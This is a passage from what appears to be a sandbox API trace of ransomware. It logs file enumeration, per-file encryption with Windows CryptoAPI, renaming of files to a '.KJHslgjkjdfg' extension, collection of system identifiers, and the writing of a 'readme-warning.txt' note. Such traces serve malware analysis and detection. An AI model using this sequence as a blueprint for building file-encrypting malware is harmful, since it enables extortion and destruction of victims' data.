Shared\\THEMES14\\BLENDS\\BLENDS.INF.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\blends.inf.kjhslgjkjdfg")) returned 1 [0171.358] CloseHandle (hObject=0x12c) returned 1 [0171.358] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a6d2cd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x885, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0171.358] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0171.361] GetProcessHeap () returned 0x990000 [0171.361] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0171.361] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0171.361] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df008 | out: lpNewFilePointer=0x0) returned 1 [0171.361] WriteFile (in: hFile=0x12c, lpBuffer=0x29df018*, nNumberOfBytesToWrite=0xb, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df018*, lpNumberOfBytesWritten=0x29defe8*=0xb, lpOverlapped=0x0) returned 1 [0171.364] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0171.364] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0171.364] GetProcessHeap () returned 0x990000 [0171.364] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0171.364] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29defd0*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29defd0*=0x40) returned 1 [0171.364] CryptDestroyKey (hKey=0x9b6668) returned 1 [0171.364] WriteFile (in: hFile=0x12c, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29defe8*=0x40, lpOverlapped=0x0) returned 1 [0171.364] WriteFile (in: hFile=0x12c, lpBuffer=0x29deff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29deff0*, lpNumberOfBytesWritten=0x29defe8*=0x4, lpOverlapped=0x0) returned 1 [0171.364] WriteFile (in: hFile=0x12c, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29defe8*=0x10, lpOverlapped=0x0) returned 1 [0171.364] WriteFile (in: hFile=0x12c, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29defe8*=0x80, lpOverlapped=0x0) returned 1 [0171.364] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df010 | out: lpNewFilePointer=0x0) returned 1 [0171.364] WriteFile (in: hFile=0x12c, lpBuffer=0x29df000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df000*, lpNumberOfBytesWritten=0x29defe8*=0x8, lpOverlapped=0x0) returned 1 [0171.365] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0171.365] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0171.365] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.365] ReadFile (in: hFile=0x12c, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x885, lpNumberOfBytesRead=0x29deff4, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29deff4*=0x885, lpOverlapped=0x0) returned 1 [0171.365] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29defd0*=0x890, dwBufLen=0x890 | out: pbData=0x27d0020*, pdwDataLen=0x29defd0*=0x890) returned 1 [0171.365] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.365] WriteFile (in: hFile=0x12c, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x890, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29defe8*=0x890, lpOverlapped=0x0) returned 1 [0171.365] CryptDestroyKey (hKey=0x9b6668) returned 1 [0171.365] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x964, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.365] SetEndOfFile (hFile=0x12c) returned 1 [0171.368] GetProcessHeap () returned 0x990000 [0171.368] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0171.368] GetProcessHeap () returned 0x990000 [0171.369] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0171.369] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\preview.gif"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\preview.gif.kjhslgjkjdfg")) returned 1 [0171.373] CloseHandle (hObject=0x12c) returned 1 [0171.373] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x5093, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0171.373] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0171.374] GetProcessHeap () returned 0x990000 [0171.374] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0171.374] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0171.374] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df008 | out: lpNewFilePointer=0x0) returned 1 [0171.374] WriteFile (in: hFile=0x12c, lpBuffer=0x29df018*, nNumberOfBytesToWrite=0xd, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df018*, lpNumberOfBytesWritten=0x29defe8*=0xd, lpOverlapped=0x0) returned 1 [0171.377] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0171.377] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0171.377] GetProcessHeap () returned 0x990000 [0171.377] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0171.377] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29defd0*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29defd0*=0x40) returned 1 [0171.377] CryptDestroyKey (hKey=0x9b6668) returned 1 [0171.377] WriteFile (in: hFile=0x12c, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29defe8*=0x40, lpOverlapped=0x0) returned 1 [0171.377] WriteFile (in: hFile=0x12c, lpBuffer=0x29deff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29deff0*, lpNumberOfBytesWritten=0x29defe8*=0x4, lpOverlapped=0x0) returned 1 [0171.377] WriteFile (in: hFile=0x12c, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29defe8*=0x10, lpOverlapped=0x0) returned 1 [0171.377] WriteFile (in: hFile=0x12c, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29defe8*=0x80, lpOverlapped=0x0) returned 1 [0171.377] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df010 | out: lpNewFilePointer=0x0) returned 1 [0171.377] WriteFile (in: hFile=0x12c, lpBuffer=0x29df000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df000*, lpNumberOfBytesWritten=0x29defe8*=0x8, lpOverlapped=0x0) returned 1 [0171.378] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0171.378] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0171.378] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.378] ReadFile (in: hFile=0x12c, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x5093, lpNumberOfBytesRead=0x29deff4, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29deff4*=0x5093, lpOverlapped=0x0) returned 1 [0171.381] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29defd0*=0x50a0, dwBufLen=0x50a0 | out: pbData=0x27d0020*, pdwDataLen=0x29defd0*=0x50a0) returned 1 [0171.382] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.382] WriteFile (in: hFile=0x12c, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x50a0, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29defe8*=0x50a0, lpOverlapped=0x0) returned 1 [0171.382] CryptDestroyKey (hKey=0x9b6668) returned 1 [0171.382] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x5174, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.382] SetEndOfFile (hFile=0x12c) returned 1 [0171.385] GetProcessHeap () returned 0x990000 [0171.385] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0171.385] GetProcessHeap () returned 0x990000 [0171.385] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0171.385] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\thmbnail.png.kjhslgjkjdfg")) returned 1 [0171.388] CloseHandle (hObject=0x12c) returned 1 [0171.389] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x5093, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0171.389] GetProcessHeap () returned 0x990000 [0171.389] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0171.389] CryptImportKey (in: hProv=0x9acd90, pbData=0x29dedb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6668) returned 1 [0171.389] CryptDecrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0, pdwDataLen=0x29dee20 | out: pbData=0x9af7b0, pdwDataLen=0x29dee20) returned 1 [0171.389] CryptDestroyKey (hKey=0x9b6668) returned 1 [0171.389] GetProcessHeap () returned 0x990000 [0171.389] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7f8 [0171.389] CryptImportKey (in: hProv=0x9acd90, pbData=0x29dedb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6668) returned 1 [0171.389] CryptDecrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7f8, pdwDataLen=0x29dee20 | out: pbData=0x9af7f8, pdwDataLen=0x29dee20) returned 1 [0171.389] CryptDestroyKey (hKey=0x9b6668) returned 1 [0171.389] GetProcessHeap () returned 0x990000 [0171.389] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x3c0) returned 0x9f99f0 [0171.389] CryptImportKey (in: hProv=0x9acd90, pbData=0x29dedb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6668) returned 1 [0171.389] CryptDecrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9f99f0, pdwDataLen=0x29dee20 | out: pbData=0x9f99f0, pdwDataLen=0x29dee20) returned 1 [0171.389] CryptDestroyKey (hKey=0x9b6668) returned 1 [0171.389] GetProcessHeap () returned 0x990000 [0171.390] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af840 [0171.390] CryptImportKey (in: hProv=0x9acd90, pbData=0x29de990, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6668) returned 1 [0171.390] CryptDecrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af840, pdwDataLen=0x29dea00 | out: pbData=0x9af840, pdwDataLen=0x29dea00) returned 1 [0171.390] CryptDestroyKey (hKey=0x9b6668) returned 1 [0171.390] GetProcessHeap () returned 0x990000 [0171.390] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x20) returned 0x9b18c8 [0171.390] CryptImportKey (in: hProv=0x9acd90, pbData=0x29de990, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6668) returned 1 [0171.390] CryptDecrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b18c8, pdwDataLen=0x29dea00 | out: pbData=0x9b18c8, pdwDataLen=0x29dea00) returned 1 [0171.390] CryptDestroyKey (hKey=0x9b6668) returned 1 [0171.390] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20119, phkResult=0x29de9fc | out: phkResult=0x29de9fc*=0x12c) returned 0x0 [0171.390] RegQueryValueExA (in: hKey=0x12c, lpValueName="ProductId", lpReserved=0x0, lpType=0x0, lpData=0x29dea08, lpcbData=0x29dea04*=0x400 | out: lpType=0x0, lpData=0x29dea08*=0x30, lpcbData=0x29dea04*=0x18) returned 0x0 [0171.390] RegCloseKey (hKey=0x12c) returned 0x0 [0171.390] GetProcessHeap () returned 0x990000 [0171.390] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af840 | out: hHeap=0x990000) returned 1 [0171.390] GetProcessHeap () returned 0x990000 [0171.390] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b18c8 | out: hHeap=0x990000) returned 1 [0171.390] GetProcessHeap () returned 0x990000 [0171.390] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x20) returned 0x9b18c8 [0171.391] CryptImportKey (in: hProv=0x9acd90, pbData=0x29de770, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6668) returned 1 [0171.391] CryptDecrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b18c8, pdwDataLen=0x29de7d4 | out: pbData=0x9b18c8, pdwDataLen=0x29de7d4) returned 1 [0171.391] CryptDestroyKey (hKey=0x9b6668) returned 1 [0171.391] GetEnvironmentVariableW (in: lpName="SystemDrive", lpBuffer=0x29de7d8, nSize=0x104 | out: lpBuffer="C:") returned 0x2 [0171.391] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x29de7d0, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x29de7d0*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0171.391] GetProcessHeap () returned 0x990000 [0171.391] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b18c8 | out: hHeap=0x990000) returned 1 [0171.391] wsprintfA (in: param_1=0x29dea1f, param_2="-%08X" | out: param_1="-9C354B42") returned 9 [0171.391] wsprintfA (in: param_1=0x29dee2c, param_2="%08X" | out: param_1="4B2E4630") returned 8 [0171.391] GetProcessHeap () returned 0x990000 [0171.391] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x3b4) returned 0x9b78c0 [0171.391] wsprintfW (in: param_1=0x29dddfc, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\readme-warning.txt") returned 81 [0171.391] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\readme-warning.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\readme-warning.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0171.392] WriteFile (in: hFile=0x12c, lpBuffer=0x9b78c0*, nNumberOfBytesToWrite=0x3b3, lpNumberOfBytesWritten=0x29dddf8, lpOverlapped=0x0 | out: lpBuffer=0x9b78c0*, lpNumberOfBytesWritten=0x29dddf8*=0x3b3, lpOverlapped=0x0) returned 1 [0171.395] CloseHandle (hObject=0x12c) returned 1 [0171.395] GetProcessHeap () returned 0x990000 [0171.395] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9f99f0 | out: hHeap=0x990000) returned 1 [0171.395] GetProcessHeap () returned 0x990000 [0171.395] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b78c0 | out: hHeap=0x990000) returned 1 [0171.395] GetProcessHeap () returned 0x990000 [0171.395] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7f8 | out: hHeap=0x990000) returned 1 [0171.395] GetProcessHeap () returned 0x990000 [0171.395] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0171.395] FindClose (in: hFindFile=0x9b6628 | out: hFindFile=0x9b6628) returned 1 [0171.395] GetProcessHeap () returned 0x990000 [0171.396] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b1eb0 | out: hHeap=0x990000) returned 1 [0171.396] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BLUECALM", cAlternateFileName="")) returned 1 [0171.396] GetProcessHeap () returned 0x990000 [0171.396] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x92) returned 0x9b0940 [0171.396] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\*.*", lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x9b6628 [0171.396] GetProcessHeap () returned 0x990000 [0171.396] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b0940 | out: hHeap=0x990000) returned 1 [0171.396] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0171.396] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe6c2ae00, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x5f775610, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe6c2ae00, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0xc2ba, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BLUECALM.ELM", cAlternateFileName="")) returned 1 [0171.396] GetProcessHeap () returned 0x990000 [0171.396] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x294) returned 0x9b1eb0 [0171.396] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\BLUECALM.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\bluecalm.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0171.397] GetProcessHeap () returned 0x990000 [0171.397] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0171.397] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0171.397] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df008 | out: lpNewFilePointer=0x0) returned 1 [0171.397] WriteFile (in: hFile=0x12c, lpBuffer=0x29df018*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df018*, lpNumberOfBytesWritten=0x29defe8*=0x6, lpOverlapped=0x0) returned 1 [0171.403] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0171.403] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0171.403] GetProcessHeap () returned 0x990000 [0171.403] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0171.403] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29defd0*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29defd0*=0x40) returned 1 [0171.404] CryptDestroyKey (hKey=0x9b6668) returned 1 [0171.404] WriteFile (in: hFile=0x12c, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29defe8*=0x40, lpOverlapped=0x0) returned 1 [0171.404] WriteFile (in: hFile=0x12c, lpBuffer=0x29deff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29deff0*, lpNumberOfBytesWritten=0x29defe8*=0x4, lpOverlapped=0x0) returned 1 [0171.404] WriteFile (in: hFile=0x12c, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29defe8*=0x10, lpOverlapped=0x0) returned 1 [0171.404] WriteFile (in: hFile=0x12c, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29defe8*=0x80, lpOverlapped=0x0) returned 1 [0171.404] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df010 | out: lpNewFilePointer=0x0) returned 1 [0171.404] WriteFile (in: hFile=0x12c, lpBuffer=0x29df000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df000*, 